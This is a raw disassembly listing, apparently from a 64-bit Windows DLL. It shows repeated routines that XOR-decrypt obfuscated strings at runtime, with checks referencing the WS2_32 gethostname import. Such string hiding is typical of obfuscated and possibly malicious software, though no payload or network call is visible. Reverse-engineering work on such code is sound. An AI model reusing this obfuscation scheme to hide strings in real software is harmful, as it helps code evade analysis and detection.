xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x180089790
lea rax, [rbp + 0x1810]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x1800897d0
lea rdx, [rbp + 0x1810]
jmp 0x18008c521
mov eax, dword [0x1801b7320]
mov r8d, esi
movsd xmm0, qword [0x1801b7318]
mov dword [rbp + 0x1828], eax
movzx eax, byte [0x1801b7324]
mov byte [rbp + 0x182c], al
movsd qword [rbp + 0x1820], xmm0
cmp r12d, 2
jl 0x1800898f9
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b7318]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1820], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1824]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1824], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1820]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x180089910
lea rax, [rbp + 0x1820]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x180089950
lea rdx, [rbp + 0x1820]
jmp 0x18008c521
movzx eax, word [0x1801b7338]
mov r8d, esi
mov word [rbp + 0x2278], ax
movzx eax, byte [0x1801b733a]
mov byte [rbp + 0x227a], al
movups xmm0, xmmword [str.zVUCO]
movups xmmword [rbp + 0x2268], xmm0
cmp r12d, 2
jl 0x180089aa1
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x226c]
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800899b0
cmp r8d, 0x13
jge 0x180089ae0
movsxd rax, r8d
lea r9, [rbp + 0x2268]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x180089ab0
lea rax, [rbp + 0x2268]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x180089af0
lea rdx, [rbp + 0x2268]
jmp 0x18008c521
mov eax, dword [0x1801b7348]
mov r8d, esi
movsd xmm0, qword [0x1801b7340]
mov dword [rbp + 0x1b18], eax
movzx eax, word [0x1801b734c]
mov word [rbp + 0x1b1c], ax
movzx eax, byte [0x1801b734e]
mov byte [rbp + 0x1b1e], al
movsd qword [rbp + 0x1b10], xmm0
cmp r12d, 2
jl 0x180089c27
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b7340]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1b10], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1b14]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1b14], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1b10]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x180089c40
lea rax, [rbp + 0x1b10]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x180089c80
lea rdx, [rbp + 0x1b10]
jmp 0x18008c521
mov eax, dword [0x1801b7360]
mov r8d, esi
mov dword [rbp + 0x23b0], eax
movzx eax, byte [0x1801b7364]
mov byte [rbp + 0x23b4], al
movups xmm0, xmmword [0x1801b7350]
movups xmmword [rbp + 0x23a0], xmm0
cmp r12d, 2
jl 0x180089dd1
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x23a4]
mov edx, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x180089ce0
cmp r8d, 0x15
jge 0x180089e10
movsxd rax, r8d
lea r9, [rbp + 0x23a0]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x15
jl 0x180089de0
lea rax, [rbp + 0x23a0]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x180089e20
lea rdx, [rbp + 0x23a0]
jmp 0x18008c521
movups xmm0, xmmword [str.bAQV_DQVTenTXS_A_cs5]
movups xmmword [rbp + 0x1e80], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x180089fb0
cmp r12d, 2
jl 0x180089f6b
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x1e84]
mov r8d, dword [rsp + 0x60]
mov edx, esi
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x180089e80
jmp 0x180089fb0
lea r9, [rbp + 0x1e80]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x180089f80
lea rax, [rbp + 0x1e80]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x180089fc0
lea rdx, [rbp + 0x1e80]
jmp 0x18008c521
cmp byte [0x1801b737b], sil
mov eax, dword [0x1801b7378]
mov dword [rbp - 0x64], eax
je 0x18008a090
cmp r12d, 2
jl 0x18008a050
movdqa xmm1, xmm6
movdqa xmm0, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm14
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm9
xorps xmm1, xmm0
movd dword [rbp - 0x64], xmm1
jmp 0x18008a090
lea r9, [rbp - 0x64]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x18008a060
lea rax, [rbp - 0x64]
mov r8, r13
inc r8
cmp byte [rax + r8], sil
jne 0x18008a097
lea rdx, [rbp - 0x64]
jmp 0x18008c521
movzx eax, byte [0x1801b7390]
mov r8d, esi
mov byte [rbp + 0x1fd8], al
movups xmm0, xmmword [str.uAQ_WS_]
movups xmmword [rbp + 0x1fc8], xmm0
cmp r12d, 2
jl 0x18008a1e1
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x1fcc]
mov edx, dword [rsp + 0x60]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x18008a0f0
cmp r8d, 0x11
jge 0x18008a220
movsxd rax, r8d
lea r9, [rbp + 0x1fc8]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x18008a1f0
lea rax, [rbp + 0x1fc8]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x18008a230
lea rdx, [rbp + 0x1fc8]
jmp 0x18008c521
cmp byte [reloc.WS2_32.dll_gethostname], sil
mov rax, qword [0x1801b7398]
mov qword [rbp + 0x4a0], rax
je 0x18008a380
cmp r12d, 2
jl 0x18008a344
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm6
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x4a0]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm15
xorps xmm2, xmm1
punpckhdq xmm0, xmm15
movd dword [rbp + 0x4a0], xmm2
movdqa xmm1, xmm15
pmuldq xmm0, xmm14
movdqa xmm2, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x4a4]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x4a4], xmm2
jmp 0x18008a380
lea r9, [rbp + 0x4a0]
mov r8d, esi
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x18008a350
lea rax, [rbp + 0x4a0]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x18008a390
lea rdx, [rbp + 0x4a0]
jmp 0x18008c521
cmp byte [0x1801b73b1], sil
movups xmm0, xmmword [0x1801b73a0]
movzx eax, word [0x1801b73b0]
mov word [rbp + 0x20b0], ax
movups xmmword [rbp + 0x20a0], xmm0
je 0x18008a520
mov r8d, esi
cmp r12d, 2
jl 0x18008a4e1
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x20a4]
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x18008a3f0
cmp r8d, 0x12
jge 0x18008a520
movsxd rax, r8d
lea r9, [rbp + 0x20a0]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x18008a4f0
lea rax, [rbp + 0x20a0]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x18008a530
lea rdx, [rbp + 0x20a0]
jmp 0x18008c521
cmp byte [reloc.WS2_32.dll_gethostname], sil
mov rax, qword [str._R_YQBV9zYXP]
mov qword [rbp + 0x4a8], rax
je 0x18008a680
cmp r12d, 2
jl 0x18008a644
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm6
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x4a8]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm15
xorps xmm2, xmm1
punpckhdq xmm0, xmm15
movd dword [rbp + 0x4a8], xmm2
movdqa xmm1, xmm15
pmuldq xmm0, xmm14
movdqa xmm2, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x4ac]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x4ac], xmm2
jmp 0x18008a680
lea r9, [rbp + 0x4a8]
mov r8d, esi
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x18008a650
lea rax, [rbp + 0x4a8]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x18008a690
lea rdx, [rbp + 0x4a8]
jmp 0x18008c521
movups xmm0, xmmword [0x1801b73c0]
movups xmmword [rbp + 0x1e90], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x18008a820
cmp r12d, 2
jl 0x18008a7db
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x1e94]
mov r8d, dword [rsp + 0x60]
mov edx, esi
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x18008a6f0
jmp 0x18008a820
lea r9, [rbp + 0x1e90]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x18008a7f0
lea rax, [rbp + 0x1e90]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x18008a830
lea rdx, [rbp + 0x1e90]
jmp 0x18008c521
movzx eax, byte [0x1801b73e8]
mov r8d, esi
mov byte [rbp + 0x2718], al
movups xmm0, xmmword [0x1801b73d0]
movups xmmword [rbp + 0x2700], xmm0
movsd xmm0, qword [0x1801b73e0]
movsd qword [rbp + 0x2710], xmm0
cmp r12d, 2
jl 0x18008a981
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x2704]
mov edx, dword [rsp + 0x60]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x18008a890
cmp r8d, 0x19
jge 0x18008a9c0
movsxd rax, r8d
lea r9, [rbp + 0x2700]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x19
jl 0x18008a990
lea rax, [rbp + 0x2700]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x18008a9d0
lea rdx, [rbp + 0x2700]
jmp 0x18008c521
cmp byte [0x1801b73fb], sil
movsd xmm0, qword [0x1801b73f0]
mov eax, dword [0x1801b73f8]
movsd qword [rbp + 0x1400], xmm0
mov dword [rbp + 0x1408], eax
je 0x18008ab40
mov r8d, esi
cmp r12d, 2
jl 0x18008aaf9
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b73f0]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1400], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1404]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1404], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1400]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x18008ab10
lea rax, [rbp + 0x1400]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x18008ab50
